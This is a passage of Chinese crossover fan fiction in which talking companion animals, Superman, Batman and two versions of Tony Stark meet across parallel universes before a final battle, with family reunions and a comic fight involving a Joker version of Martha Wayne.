拟态虽然表现的可怕，却也只是表面问题，薇薇实际年纪其实不大，又能模拟成小女孩的模样，给他们的感觉可能更接近一个淘气的孩童，而非什么无法理解的怪物。 在人类的要求下，薇薇恢复鸭嘴兽的模样，爬到食梦貘身边，两只毛茸茸一起贴贴。 塔塔则跑去托尼那边。 距离斯塔克夫妇到来还有几个小时，人类决定先去睡一觉，起来正好开会。 托尼抱着水獭，脚边跟着锈斑猫和薮猫，一人坐拥三只毛茸茸，睡在床上暖呼呼的，塔塔趴在他的怀里，锈斑猫睡在脸侧，薮猫有时候窝在脚边，有时候在窗台附近，像是在保护幼崽那样守卫着这一窝小家伙。 史蒂夫带着多纳滋出去巡逻，基地中也有不少人在各自的岗位上守着，虽然是半夜三更，头顶的探照灯却将周围照亮的犹如白昼。 据说是因为这里的地址其实已经暴露，不再需要隐藏，现在完全是靠着强大的战力作为威慑，让海底人不敢打直接进攻的主意。 而在英国那边，亚马逊人似乎已经准备好进行决战。 捷克狼犬没有去睡觉，而是站在某个瞭望塔的下方，它不是在值班，只是找了个自己喜欢的活动打发时间，此时也是漫无目的，仅仅是发呆那样的望着远处，从可以隐约看到悬崖和海岸的位置，大红还挺喜欢的。 小红从另一处建筑顶部飞过来。 瞭望塔足够高，也不用担心上面的人听到动静，他们的工作目标不在塔的正下方。 “啾啾。”小红落在大红后背上，叫唤：接下来，我们也要参战吗？ 它们应该进一步的干涉这个平行宇宙的事情吗？ 大红呜呜着回答：已经干涉这么多了，后面的那些事情，是否参与都无所谓了吧？唯一的问题就只有你自己的想法，你想要参加吗？ “叽啾？”小红反问：你呢？ 大红没有回答。 既然白葵、闪电鼠、鸮鹦鹉这三只伴生动物能被送过来，还如此的及时，就证明它们宇宙的人能观察到这里正在发生的事，并且通过这种送货的方式进行干预，既然可以送东西过来，那取东西回去也是早晚的事情。 这就意味着，它们其实并不需要这个世界的人帮忙，也能回到自己的宇宙。 只要这个世界没有真的灭亡，对于大红来说，似乎就足够了。 但小红已经决定要帮忙，就算上战场，也要帮忙。 大红问它：理由呢？ “叽啾~”他们需要帮助，而我是超级英雄的伴生动物，帮助需要帮助的人，这也算是理所应当的事情吧。 小红从电车难题带来的压力中走了出来，整只鸟的气质都不一样了。 它身上多出某种洞悉了命运本质后依然保有自我心中的善意，不被世界变化所动摇的优雅气息。 “啾啾~”你长大了呢~ 极乐鸟从另一侧飞过来，也落到大红的后背上，快乐的和小红贴贴。 它身后跟着卡尔。 “下面有只巨大的海怪，放着不管，它可能会引发巨大的地震，那会摧毁陆地上很多的建筑，杀死很多的人。” 卡尔对两只鸟和大红说。 “我打算直接下海，不等大部队了。” 第85章 三只小动物尝试着劝阻卡尔,可卡尔心意已决。 鸟和汪互相看看。 就让卡尔这么去冒险是肯定不行的，如果转头叫人，哪怕是用精神链接叫人,那些人过来也需要时间,足够拥有超级速度的卡尔立刻下水,速战速决了。 可那样太过危险。 思量片刻后,小动物们决定跟着卡尔一起去往深海。 小红站在卡尔肩头,极乐鸟在另一边,大红沿着悬崖的边沿漫步,它们跟着卡尔，而从这里开始,卡尔要往海上飞,大红停下脚步。 它能游泳过去, 可那样动静太大。 卡尔漂浮在悬崖前方。 小动物们想跟他一起去，卡尔也愿意带着它们。 可鸟类和大狗狗要怎么下水？ 游泳，也许可以。 但潜水就是另一个问题了。 卡尔有些头疼,不知道该怎么办才好。 “你要学会拒绝不合理的请求。” 冷硬沙哑的声音响起，听着就像金属刮在砂纸上，引起人身体本能的不适，循着这让人起鸡皮疙瘩的声音望过去，卡尔看到了一抹巨大的黑色影子，一只刚从地狱爬出来的恐怖魔兽。 “蝙蝠侠。” 卡尔立刻认出对方。 蝙蝠侠没有回应，只是走过来, 布莱克跟在他后面，没看到玛莎。 蝙蝠侠走到悬崖边,指着远处的海面。 “如果你下去，就要独自面对海王的军队, 和那个让你非常在意的怪物，在你对付那些军队的时候，那怪物可不会安静的等你抽出空来再跟你公平对决，很有可能会提前一步行动，对陆地造成巨量破坏，而这时候地面上的其他人毫无准备，必然损失惨重。” 卡尔略微愣了一下，随后落下来。 蝙蝠侠开始教导卡尔一场有准备的奇袭应该是什么样的，小红在旁听，极乐鸟则飞到布莱克的脑袋上，侧着脑袋给大猫猫耳朵理毛，同时轻声唧唧啾啾的问：他是看上卡尔了么？ 这个宇宙的蝙蝠侠没有继承人，也没有其他亲人，唯一的玛莎疯疯癫癫的，也不适合继承斗篷。 布莱克摇了摇头：他并不打算找一个继承人。 哥谭黑夜里的蒙面义警，这是什么值得传承的身份吗？ 至少对于托马斯来说，它没有那么好。 现在所做出的指导卡尔的举动，不过是托马斯在表达自己对卡尔心性的认可，以及尽可能的提升可以利用的战斗力罢了。 以上是布莱克的想法。 极乐鸟则坚持认为，托马斯看上了卡尔，将其视作自己的继承人。 布莱克：你就是偏爱卡尔。 极乐鸟一愣，想了想，然后理直气壮的承认下来：“啾啾！”卡尔性格很好，虽然经历过很多不幸，让他的性格和我们世界的超人不太一样，可他也努力在成为更好的人。他已经表现的很好很好了，难道不值得偏爱吗？ 就卡尔的经历而言，没有报复社会已经很好了。 要知道卡尔很清楚自己晒了太阳后可以上天入地，可以在海里生活，也可以在宇宙生活，在这样的前提条件下，卡尔没有选择成为海底人的帮凶，而是再一次的相信陆地人，这还不足以证明他超级棒的？ 对布莱克来说，可能还不够。 但对极乐鸟来说，这已经证明卡尔值得它倾尽全力的偏爱。 “他值得最好的！” 极乐鸟在公共频道大声啾啾！ 理所应当的，卡尔和托马斯也听到了，卡尔回过头来看它，眼底带着笑意，托马斯则头都不抬，跟压根没听到似的，继续将他的那套理论，教卡尔更多的军事知识。 卡尔的注意力完全被蝙蝠侠吸引，也就暂时放下要独自前往海底冒险的事情。 他们还当场重新制定计划，根据卡尔所看到的来设计如何分割战场，蝙蝠侠当着卡尔的面呼叫了其他人，却没有提卡尔想要下水的事情，只是说现在过来开一场临时军事会议，对决战当日所要用的战术进行微调。 一直没说是否参加决战的蝙蝠侠突然出现在他们身边，这让好多高层吓了一跳，而超级英雄们则在得到消息后表现的十分兴奋。 史蒂夫带着一队人过来，通讯器里接着超级英雄联盟的巨头之一，钢骨的独立频道。 “很高兴你愿意加入我们。” 这话是客套，也是史蒂夫想要表达的，同时也是钢骨托史蒂夫代为表达谢意的话语。 对此蝙蝠侠只是微弱的嗯哼出声，表示自己有听到。 “他就这样，他没有恶意，他只是沉默寡言。” 钢骨注意到蝙蝠侠表现的额外冷漠，立刻在通讯中向史蒂夫解释，那积极的样子闹得史蒂夫哭笑不得，都有点想把通讯器直接递给蝙蝠侠了。 人类在开会，小动物在打哈欠。 他们要去拯救世界了，而负责小动物的，还是托尼。 为此，托尼摔了一个杯子。 当他举起第二个的时候，看到锈斑猫和薮猫高高竖起的耳朵，塔塔也立起来看着自己，两只哥谭来的鸟蓬了毛，捷克狼犬、多纳滋和布莱克倒是没什么反应，只不过活动耳朵，将注意力放到托尼身上。 它们在用自己的方式警觉。 意识到自己吓到小动物的托尼立刻放下第二个杯子。 他没说什么，大概也是不知道该说什么，就默默去收拾玻璃碎片了。 塔塔迟疑片刻，追上去。 “托尼？” “嗯……吓到你了？”托尼抱住它，放在怀里揉了揉，“没事，我只是有些……有点失控，没事的，现在已经好了，我会控制好这些……小问题。” “这不是托尼的错，他们甚至都没有问你是怎么想的，这太过分了。” 塔塔站在托尼这边。 因为那些人也没有问它们这些小动物是怎么想的，就这么决定了它们都呆在至少目前还是安全的基地里，被动的等待一个结果。 有些小动物比如布莱克或者大红、多纳滋、帕夫这些，它们并不在乎人类怎么想的，它们有它们自己的想法和决定，人类是否让它们留下根本不重要，只要它们自己要走，谁都留不住这些家伙。 在这个方面，塔塔也是一样的，真的决定要离开，塔塔会自己溜走，不管这里的人类是否想要留它下来。 但……问都不乐意问一下真的很过分啊！ 又不是个物品！ 人家是有自我思维、可以自己做决定的水獭！ 但同时塔塔也是一只听话的水獭，所以它也只是自己嘀嘀咕咕的抱怨，并不会因此就真的冲出去，到战场上横冲直撞的让人类担心。 托尼感觉到了塔塔的想法，在塔塔脑袋上亲了一口。 “我也只是抱怨。” 他不喜欢被当需要看护的未成年人，如果没有伴生动物的出现，托尼会想尽办法去战场，但现在他无法说服自己丢下这些小动物不管。 “……成熟的有些不像我了。” 斯塔克如此评价。 这声音让所有小动物和托尼都吓了一跳。 突兀的出现没有任何哪怕一丁点儿的预兆，斯塔克就这么出现在屋子里，像是一张纸在对折的瞬间，另一面的东西落入这一面，而且整个过程非常自然，没有任何停顿，就算是斯塔克自己也只是感觉到微妙的失重感，那感觉转瞬即逝，很快便恢复正常。 他看着面前这一屋子的动物和人，问：“欢迎我么？” 锈斑猫立刻兴奋起来。 交汇！ 而且是人类！ 它们的孵化者！ 而且是它的托尼尼！ 锈斑猫猛地扑了出去，从托尼脚边掠过，扒拉着斯塔克的膝盖就往上蹿，斯塔克笑着熟练的伸手搂住小猫，将它一把托上自己的肩头，让小猫可以顺利的在自己脸上蹭来蹭去，表达亲密，也是在互相上味道。 “……” 托尼看着面前这人，陌生，有一丁点眼熟，但自己应该不认识。 “你是……？”托尼试探着问。 “……” 斯塔克看着面前的人，年轻，充满朝气而且冲动行事，虽然这么多年过后自己现在比起当年也没有好到哪里去，可谁让自己年长呢？ 年长的优势就是，可以假装自己很厉害，而年轻人往往发现不了年长者是否外强中干。 这样想着，斯塔克快乐的放大了笑容，他打开双手，以一种胜利者的姿态对托尼说：“我？我是你，更好的，来自未来的你。” 托尼：“……” 年轻人似乎难以接受自己以后会成为这么个……什么玩意。 托尼·斯塔克总是自恋的，又自我嫌弃。 他们俩在这方面半斤八两。 塔塔就趴在托尼怀里对斯塔克吐舌头：“嘤嘤。”你不要欺负他啦。 斯塔克假装生气的叉腰，用一点都不像在生气的语调指责塔塔：“这才过去几天，嗯？小家伙移情别恋了？” 自认为自己绝对不是花花公子的塔塔当然不认这个，嘤嘤叫着抗议。 “嘤——！”才没有呢！这个也是托尼尼，也不是移情别恋！ “哇呜。”布莱克打断他们的叙旧：还有谁来了？ “你的孵化者，还有几个人……” “喵……？”布莱克又问：你们可以这样干预这边的事情吗？我记得过分干预其他宇宙的事情，会让平行倾斜吧。 那会发生很糟糕的事情。 它们是动物也就算了，根本来说都是胡作非为的小坏蛋，可若是连作为人类中善意代表的超级英雄也都参与其中，也许会给自己的宇宙带来难以想象的可怕威胁。 “不用担心，我们找了好几个专业人士评估，确定安全才会行动，你的孵化者也确认了这件事情，就是不知道他被交汇到什么位置了……”说着，斯塔克开始敲击自己的耳麦。 这里卫星不是他的，信号好像接不上，斯塔克打开臂环，释放纳米机器人，潜入周围的电脑端口，开始准备劫掠这边斯塔克家族的卫星，试着给自己建立一个通讯网。 他做的很自然，这也算是自己家的东西嘛。 托尼愣愣的看着这家伙，然后突然反应过来，不能就这么放任不管，正好角落里有个一直在吃灰的棒球棍，托尼将它捡了起来。 第86章 在托尼决定给那个自称是未来自己的人一记闷棍之前, 塔塔抱住他的手，努力晃动身体阻止托尼伤害斯塔克。 托尼也不是真的要动手。 他只是不理解现在这个情况。 眼前这个看着有点儿眼熟的人说的那些话实在是有些抽象，听起来更接近于疯言疯语,哪怕托尼已经知道这些小动物来自平行宇宙,并且对面还能继续送小动物过来,这就意味着只要那个平行宇宙的人类想要,随时都可以送人过来。 可这么个人,这么个自己,真的出现在眼前,托尼还是感到怪诞和强烈的诡异感。 看他这样，斯塔克对他的体感了然于心, 可惜斯塔克也帮不上忙, 那种空间折叠一般的扭曲感觉, 只能靠托尼自己来消化。 …… ………… 哥谭。 蝙蝠侠往前走。 他的装备看起来更加保守，没有这个世界的蝙蝠侠那么强烈的攻击性，他曾经也装备过那些尖刺和利刃,后来又一个一个拆掉了。 在拆掉的过程中，蝙蝠侠也一步一步走向远方，走离那条让他几乎失去一切的小巷。 他也为自己的养子那样武装过。 幸好提姆出现了，阻止他进一步走向疯狂。 “……” 布鲁斯看着面前的宅院，韦恩庄园，但这里的主人并不是他，这个时候托马斯应该在前线基地那边。 交汇将布鲁斯送到韦恩庄园,他想，也许命运是想让他去见另一个人。 玛莎。 二楼的房间亮着一盏灯,窗口能看到女性的剪影。 严格来说，布鲁斯已经不记得自己母亲的身形样貌, 毕竟那已经是二三十年前的事情，幼年的记忆和现在的玛莎也对不上号。 可他的直觉还是立刻认定，那就是玛莎。 大门是上锁的。 布鲁斯选择走外墙，在爪勾的帮助下他轻松爬上二楼，也就是这个时候，屋子里的灯突然熄灭，玛莎似乎暂时离开了房间。 这是个好机会。 本来想从旁边窗户走的布鲁斯直接来到玛莎刚才所在的位置。 她刚从这间房间离开，立刻回来的可能性不大。 布鲁斯略作试探，窗户没锁，他用工具顶开里面的扣锁，然后轻轻推开窗户。 屋内空无一人。 布鲁斯在窗口略作停顿，侧耳仔细听房间里的动静，确定里面连一个呼吸声都没有，他才钻入屋内。 那人也不知道是如何做到的，连心跳的速度都极致的减缓。 布鲁斯没听到任何动静，除了突然出现在后脑的风声。 战斗本能驱使身体快速做出反应，布鲁斯立刻将身体重心下压，整个人猫儿似的滑入室内，迅速打了个滚，翻到房间的另一侧去，再抬头，布鲁斯借着月光看到袭击者的模样。 玛莎。 小丑玛莎。 她的妆还没有卸掉，也许是决战在即，玛莎不打算变回那位贤惠温和，仿佛不会对任何人产生威胁的柔弱女士。 女……小丑。 正玩着她的那副扑克牌。 某种微妙的作呕的感觉翻上布鲁斯的喉头。 不是因为玛莎，而是该死的命运。 长期以来，布鲁斯都能感觉到那种无孔不入的恶意，而他们身边也不乏从高维降临的生物，那些捣蛋鬼和麻烦精…… 祂们不想过的无聊。 所以祂们不会让他们好过。 大概是终于有理由可以放肆的发癫了吧。 玛莎丢下扑克牌，让它们散落一地，自己则露出大大的笑容，嘴角不住抽搐，夸张的向后咧过去，连固定皮肉的订书钉都给她崩开了一对。 玛莎，小丑，手中握着的沾满暗沉血痕的撬棍，脚边是因为大幅度动作而扬起的裙摆，这一刻她展现的无关优雅，而是纯粹的暴力和鲜血，她狞笑着，手中撬棍如同魔鬼的爪，对着布鲁斯的脑袋砸过去。 “你好啊，可爱的模仿犯先生。”她是这么称呼布鲁斯的。 “你还真是一只没成年的小蝙蝠呢。”她欢愉的笑着。 布鲁斯一边格挡躲避，一边思考自己该如何接话。 说是蝙蝠侠的儿子……另一只蝙蝠侠？ 她会信吗？ 玛莎好像是将布莱克认定为这个世界小布鲁西的投射，那她还会接受另一个世界来的布鲁斯·韦恩吗？ 布鲁斯拿不准。 只要他还有的选，布鲁斯就不会去做一件他自己也没谱的事情。 因此无论玛莎如何质问，嘲笑，疯狂的攻击，布鲁斯只是防守和躲避，决定先等玛莎发完这一轮疯的，再试着跟玛莎谈论其他事情。 撬棍砸在护腕上，一次又一次。 连续的追打非常消耗体力，也是令人满足的。 大约二十分钟的发疯很大程度上将玛莎那病态的大脑喂饱，她终于算是满足了，昂头发出叹息声，随着理智渐渐回笼，玛莎也意识到面前这个不是单纯的模仿犯。 只是模仿来说，这家伙模仿的也太好了。 精湛的技术，迅捷的动作，强大的力量和敏锐的观察力。 这家伙简直就是真的蝙蝠侠。 只是太平和了。 和自己家的蝙蝠侠相比，眼前这只小蝙蝠简直就是个蝙蝠宝宝。 玛莎甚至怀疑这家伙压根不会杀人。 他看着就像只小天使蝙蝠，脑袋上顶着亮闪闪的天使光圈。 玛莎大方的在精神链接中强行向其他人和动物安利自己新发现的天使蝙蝠，并要求这是自己的俘虏，所以如果抓住的话，这就是自己的玩具了。 她和托马斯今天才接入这个精神网络，为了防止玛莎的疯病感染他人，馍馍和薇薇做了专门的隔离，可就算这样，玛莎在脑子里哈哈哈狂笑的时候，还是让其他人和动物感到一阵癫狂和头疼。 “不行，他不是模仿犯，也不是天使蝙蝠。”托马斯呵止了玛莎，“那应该是另一个宇宙的蝙蝠侠，他是我们的战友，不是玩具。” “绝对不行吗？” “绝对不行。” “哦……” 托马斯毫无商量余地的命令让玛莎略感失落，不过她很快就振作起来，不能当作玩具，这没有问题，可现在他们不是正在冲突中吗？这是一场“误会”！她以为这是入侵者，所以动手的时候稍微用力了一点点，这也不算什么，对不对？ 之后认真道歉就好了嘛！ 这样想着，玛莎的笑容再次扭曲。 “小蝙蝠，”她用哄骗小孩子的口吻对着布鲁斯说道，“小蝙蝠，我们来玩游戏吧！” 布鲁斯：“……” 精神链接的网络同样接上了布鲁斯，他一把握住那根撬棍，和玛莎小丑角力，冷不丁的感觉到自己的大脑内仿佛打开了一扇全新的门。 这感觉让布鲁斯不太适应，他皱起眉头，接着就听到有人在自己的脑子里说话。 “托马斯，我要玩这个。” “不行。” 玛莎请求的很应付，托马斯拒绝的也很应付，他们已经达成了默契，托马斯知道玛莎不会乱来，现在玛莎口中的絮絮叨叨更接近病态的撒娇，而不是真的要得到什么东西。 至于那几下撬棍。 既然对方是另一个宇宙的蝙蝠侠，托马斯相信那人能接下这几下撬棍的，不管它们是对着手臂去的，还是后脑勺。 她只是在发出吵闹声，并且因为自己成功的吵到了托马斯而感到特别快乐。 像个孩子似的。 布鲁斯能听到玛莎在哼哼。 还能听到其他小动物的动静，有的在看热闹，有的信了玛莎的话，比如塔塔就在认真劝玛莎不要冲动，那个蝙蝠侠超级可怕超级凶，不要惹他啦。 玛莎冒出一个问号，有点扭曲，有点抽象，但应该是个问号。 “凶？可怕？”玛莎看着面前这只小蝙蝠，迷茫的问，“你是在说这只小天使吗？” 这下冒出问号的换成了塔塔。 还有几个问号接连跟着冒出来。 它们分别来自小红、极乐鸟、大红、布莱克和锈斑猫。 小天使？ 天使蝙蝠？ 这是在说谁？ 是在说它们宇宙的蝙蝠侠吗？ 虽然它们宇宙的蝙蝠侠的装备看起来确实没有这个宇宙的蝙蝠侠那么有攻击性，可是那家伙跟“天使”也没什么关系吧？ 什么天使？ 职能是清缴恶魔顺便毁灭世界的那种天使吗？ ？ ？ 小动物们在脑子里疯狂吐槽。 玛莎无辜了。 这个小蝙蝠侠，看着真的不凶嘛。 虽然护目镜挡着，玛莎还是能感觉到对方毫无攻击性的目光，那甚至不能说是冷漠的，也不是审视。 “他像只在等我摸头的小动物哎。”玛莎抗议的说。 布鲁斯：“……” 他发誓他没有。 他很正常，在一个可退可进的位置，和玛莎保持安全距离，盯着玛莎，防止她再次发动攻击，脑子里则抽空思考接下一步该怎么办。 也许，现在的蝙蝠侠看起来确实不怎么凶狠。 但和“天使”或者“小动物”也扯不上关系吧？ 考虑到玛莎也许就是这个宇宙的小丑，布鲁斯只能将这些话归结成对方的愚弄和嘲讽。 ……或者，一种挑拨离间？ 也许玛莎是在用这种方式降低布鲁斯在其他人心中的形象，这样一来，当布鲁斯想要去接触那些人的时候，就必须花费更多的力气来摘掉自己身上那些不合适的标签。 不，不对。 玛莎虽然是小丑，可她现在和他们是统一战线，没道理…… 呃。 布鲁斯突然想起一件事情。 好像…… 小丑的同伴，一直都没什么好下场，他们往往死的比小丑的敌人更快，也更惨。 嗯…… 这真是个棘手的问题。 第87章 接下来的一段时间。 尴尬,沉默，还有点儿窒息。 玛莎似乎还不知道平行宇宙过来的蝙蝠侠姓氏名谁，只能确定那不是托马斯,不过她还挺喜欢这个蝙蝠侠的,没那么凶,好相处。 布鲁斯并不好相处。 只是因为对方是玛莎, 他凶不起来而已。 谁能对着自己母亲还一副凶神恶煞的模样？ 布鲁斯只能绷着嘴角冷硬的线条,让自己看起来面无表情。 在托马斯的吩咐下,玛莎将布鲁斯领入蝙蝠洞,在这里找到托马斯的蝙蝠车，布鲁斯默默抚摸着这架钢铁怪兽,感觉它比自己的更加冲动,冒着属于地狱的复仇烈焰。 布鲁斯的蝙蝠车更注重隐蔽,安静的像只潜伏的大猫。 再看看这个洞xue。 粗糙、空旷、没有属于活人的气息。 布鲁斯的蝙蝠洞有他，有阿福，后来有迪克, 杰森、提姆、达米安那小崽子也能算一个，虽然达米安拆掉的东西比他建造的更多…… 但这里，只有托马斯一人。 仅靠一人的力量能将蝙蝠洞建设到这般模样，本身就已经是很不可思议的成就了。 玛莎踹开蝙蝠车门就要往驾驶座上翻，看她疯疯癫癫的，布鲁斯将她扯回来，强行送进副驾驶,给她固定好安全带。 “你会开蝙蝠车？” “嗯。” 车嘛，都差不多, 两边世界的科技差距不小，这辆蝙蝠车的系统没有布鲁斯的先进, 要上手就更容易了。 车上附带导航系统，但没有自动驾驶，布鲁斯默默开车，副驾驶是无聊的玛莎，不知道从哪里又掏出一副扑克牌在手上摆弄。 沉默填满了车厢。 布鲁斯无所谓，蝙蝠侠最擅长应对的就是寂静。 玛莎却不太喜欢这样。 她扒拉着安全带，没话找话。 “布莱克是你的猫？” 这个话题在蝙蝠侠的预料之外，他还以为要等自己提起，才有机会和玛莎聊这个问题。 在布鲁斯想好如何接话之前，玛莎的小丑牌已经怼在他的脸侧。 “别否认，他跟你一个调子，猫猫祟祟的大猫猫。”说着，玛莎笑了起来，还有一点儿隐蔽的怒气，嘴里说的却是夸奖的话，“不过，你把他养的不错。” 整一个神经病。 布鲁斯没有吭声。 玛莎说布莱克的时候，用的是“他”。 这让布鲁斯感到一丝头疼。 该怎么跟玛莎解释呢…… 他可以肯定布莱克并没有冒充自己的打算，可明明能接入精神网络，直接和玛莎说话，却依然没有主动向玛莎解释的意思，这就有些微妙了。 布莱克那只美洲豹到底要做什么？ 布莱克：…… 大猫猫超大声的吭了一下鼻子。 鼻子痒。 有人在说自己坏话。 布莱克立刻抬起头警惕的左右看看，周围没有嫌疑人或者可疑的动物，那就是在远处了，不用继续往下思考，布莱克立刻锁定住嫌疑人。 肯定是布鲁斯·韦恩那只老蝙蝠。 大猫猫嫌弃的趴下来，眼珠子一转，看向旁边的四名人类。 布鲁斯和平行宇宙的父母相见，过程不算顺利，另外一对也没好到哪去，而且斯塔克这里因为多了一个年轻版本的自己，事情越发的复杂起来。 托尼坐在单人沙发里，好奇的看着斯塔克，霍华德和玛利亚在长沙发上落座，斯塔克看着他们身旁余出来的位置，选择拉了一把椅子过来，沉默的坐下，也没有主动说什么的意思。 可他的面容……也不需要他特意说什么。 托尼自己是对自己的脸没太关注，平时看的也不多，而且胡子的修饰对脸型的改变还挺大的，所以没有立刻认出来，而霍华德和玛利亚只是第一眼就知道这是谁了。 “托尼？”玛利亚轻声叫了斯塔克。 斯塔克：“！” 他几乎是炸起毛来，像是被吓到的猫，又立刻控制住自己，不太自然的，努力表现出普通而寻常的笑容。 玛利亚立刻就明白了。 看来，在那个平行宇宙里，斯塔克已经只剩下托尼一人了啊。 “最近过得怎么样？”玛利亚选了最平淡的开场，来打破四人之间有些尴尬的氛围。 斯塔克被问住了。 怎么样……？ “呃……”这该怎么回答才好？就……“一切，正常？” 斯塔克少有的结巴了。 有好好吃饭吗？几天睡觉？现在住在哪里？谈恋爱了吗？ 玛利亚问的都是些普通父母会关心的微末琐事。 至于什么穿越平行宇宙，超级英雄，或者钢铁军团，那些可以稍后再谈。 托尼看着他们，神情微妙。 玛利亚当然对他也很好，嘘寒问暖，极尽所能的关心，但是这么急切的询问，迫不及待的了解对方的一切，还是让托尼感到有些不适。 好像母亲更喜欢眼前这个中年人似的。 成年了的托尼不至于因为这点事情就闹起来，但他依然心气不顺。 斯塔克努力应对来自平行宇宙母亲的关心，藏起自己灯红酒绿的不规律生活，几乎濒死的经历，泡在实验室里直到饿晕的愚蠢行为，只说那些好的，让玛利亚感到欣慰，然后冷硬的向霍华德汇报自己宇宙的事情——他们也找到了美国队长，现在两人在一个联盟里面，他们的官方被九头蛇渗入了，Cap不再相信官方，所以他们现在属于半独立等等。 “如果有一天那些官僚也掌握了这门技术，派人穿越过来，你懂得？别那么相信他们，先喊一声 hail hydra试试水。” 斯塔克开玩笑似的说道。 玛利亚被逗笑了，霍华德嘴角微妙的抽了抽，爱笑不笑的，努力忍住。 现场气氛依然微妙，主要是托尼情绪不佳，而斯塔克则明显藏着掖着些什么，霍华德的注意力基本集中在斯塔克身上，可以说是完全没有关注托尼，玛利亚则兼顾两头，可托尼明显没有交谈的兴致，经验来说，这时候强行将托尼带入群聊，很可能会导致托尼心情进一步下降，接着对周围的人发出无差别的冷嘲热讽。 聊天没能持续太久，很快有通讯接入，叫走了霍华德，玛利亚也跟着离开，走前叮嘱托尼照顾一下斯塔克。 “所以，你搬走了？” 托尼坐在原地没动，抬着眼睛看着斯塔克。 “对，我建了一栋大楼，在纽约最繁华的地段，它还成了纽约的地标建筑。” 斯塔克在托尼面前说起自己的丰功伟绩。 他没有在刻意展示自己的家底，只是那些成绩过于亮眼，只是平平无奇的说出来，都会让人感觉他在故意炫耀。 托尼冷哼一声。 他现在能拿出来说的项目也就是给卡尔做的那个红太阳重力舱，却也不是他的原始技术，和斯塔克的钢铁军团比，也没什么可提的。 斯塔克略微侧头，用视线的余光打量托尼，这看起来没那么礼貌，有种俯视的感觉。 托尼立刻就皱起眉头，正要说些什么，却听斯塔克问： “你刚才，有话想说的，对吧？为什么不说？” “哦，多新鲜，你不也是我吗？还是说你无法理解十八岁的你自己？” “……”斯塔克沉默的看着托尼。 这目光让托尼感觉不太好，斯塔克的情绪从精神链接中向托尼传递，那是个黑灰色的场景，暗色的尘埃四下飞散，充满了悲伤的气息。 “我知道你的想法，托尼。” 他对自己说。 “但、事情并不会总是如你所愿，在你人生经历的种种不顺中，你该明白的，在家庭方面，命运对你非常吝啬。” “所以，所以你该珍惜它。” 托尼：“……” 心痛的感觉毫无预兆的在胸腔弥漫开。 “你TMD到底在说什么？” 托尼忍不住骂出F开头的字母。 斯塔克只是看着他，给他时间，让他从那种情绪中缓过来，自己也趁机调节心理状态，小心掩好这个伤口，以及之下更多的痕迹。 几分钟后，托尼暴躁的揉乱了自己的头发，他昂起头，带着攻击性直直盯着斯塔克。 “到底发生了什么？” “我以为我们还有时间，其实没有了。” “我们拥有的，只有这一秒而已，托尼。”斯塔克对自己说，“所以，那些重要的问题，不要放到之后再去解决。” “你像个令人作呕的谜语人。” “我们的命运轨迹差距还是蛮大的，”说起这个，斯塔克的情绪平和了不少，他恢复精神，公事公办起来，“我也不确定我说多少才是恰到好处，万一给你带来负面影响呢？说谜语让你自己猜，我的责任相对来说就会比较少嘛。” 斯塔克又开始开玩笑了。 托尼看着这个年长的自己。 跟TM精神分裂似的。 他很难想像自己未来到底会经历什么，将自己变成这个模样。 他现在就是个混蛋没错。 可这家伙明显比现在的他更加混蛋！ 托尼挫败的捂住脑袋装死。 斯塔克被他逗笑了，走过去拍拍他的肩膀。 “相信我，我也挺讨厌这样的。” “你讨厌这样，但你改变不了什么，呃、更糟糕了。”托尼嘴上骂骂咧咧，内心却强迫症似的反复思考着斯塔克说的话。 那该死的不祥让他有种呕吐的冲动。 托尼无法想象有一天霍华德和玛利亚会离自己而去。 他们总是出门，很久，但总会回来的。 对吧？ 第88章 霍华德忙到凌晨才返回, 却发现托尼和斯塔克居然还在房间里等。 “怎么？” 霍华德不太理解。 斯塔克略微扯出一点笑容，拍拍托尼，自己先一步告辞, 他留在这里, 只是防止松口要和霍华德聊一聊的托尼做出临阵脱逃的事。 现在霍华德回来了, 斯塔克自然可以功成身退。 被留下的托尼脸色不佳,肌肉绷得很紧,他盯着霍华德时那副如临大敌的模样让霍华德十分疑惑,霍华德挂起外套,落座，感觉少点什么,又起身给自己倒了杯水。 “要说什么？”霍华德冷硬的问。 这话让托尼差点冷笑出声,想问霍华德上次两人好好聊天是什么时候的事情了？又想到斯塔克说的话。 不要开口就是质问。 那不像是沟通, 也不是关心，那是挑战权威。 成年的孩子对着忙碌后疲惫归家的父亲发出挑战，自然会收到反击。 除非那位父亲性格特别温和。 但霍华德……显然不在那一类范围。 好好谈谈、好好谈谈…… 托尼对自己念了一百遍。 决战在即,托尼不知道斯塔克是如何失去父母的，但对于他来说，最大的危机就在眼前，如果想要不留遗憾，全力以赴应对战争的同时，也要把没说出口的话说清楚。 …… ………… “他一个人没关系么？” 塔塔扒在斯塔克的肩膀上，探头探脑, 想去偷窥房间里的情况，却被斯塔克按了下来, 带去楼下的红太阳重力舱。 斯塔克交汇过来的时候没能把机甲一起带过来，他得尽快给自己再搓套装备。 “他可以的。知道吗？其实我很擅长说话的。” 当然, 是胡编乱造的那种。 斯塔克表达出来的自信很空洞，就算是塔塔也能一眼看出他对托尼完全没有自信，更准确的说，斯塔克对年轻时候的自己十分怀疑。 那个没有失去所有机会的年轻人真的能明白一次谈话的机会有多么重要吗？ 斯塔克揉着自己的眉心，试图压下脑子里翻起的阵阵头疼。 一顿乒乒乓乓之后斯塔克简单制作了自己的保命三件套，眼镜、手套、胸腹处的防护体系，重点是可以压缩空气打出去的手套，这可是实打实的战斗力。 “所以我来到底是做什么的？”说起这个，斯塔克很不满意，“又不让我把钢铁军团带过来，现场做这也赶不上。” 虽然嘴上如此抱怨，斯塔克依然在赶工。 那边决战时间也没有敲定，万一赶上了呢？ 几个小时后，玛利亚来到实验室，送来瓶装水和一些方便在实验室吃的食物，她看着斯塔克完全沉浸在制作过程中的模样，耐心等待，直到斯塔克忙完一段，不得不暂停休息，才出声提醒对方注意自己的存在。 “吃点东西吧，至少喝点水和营养液。” 斯塔克被玛利亚吓了一跳，猫似的几乎跳起来。 玛利亚幻视出一只变成剑背龙的猫猫，想笑，但努力忍住了。 看斯塔克在那故作寻常的拿起吃的往嘴巴里塞，然后还在试着对自己挤出微笑，玛利亚笑着摇了摇头，劝他慢点吃不要噎到。 斯塔克笑的更加尴尬，脑子飞速运转，绞尽脑汁寻找合适的话题，见鬼，他是花花公子，可不是个好儿子，他不知道该怎么正常跟自己母亲聊天！ 玛利亚看着谜之慌乱的斯塔克，笑着轻声道：“我为你感到骄傲，托尼。” 斯塔克：…… 斯塔克石化了。 在实验室的门再次被打开之前，斯塔克都维持着这个石化的状态。 霍华德来到实验室，后面跟着托尼。 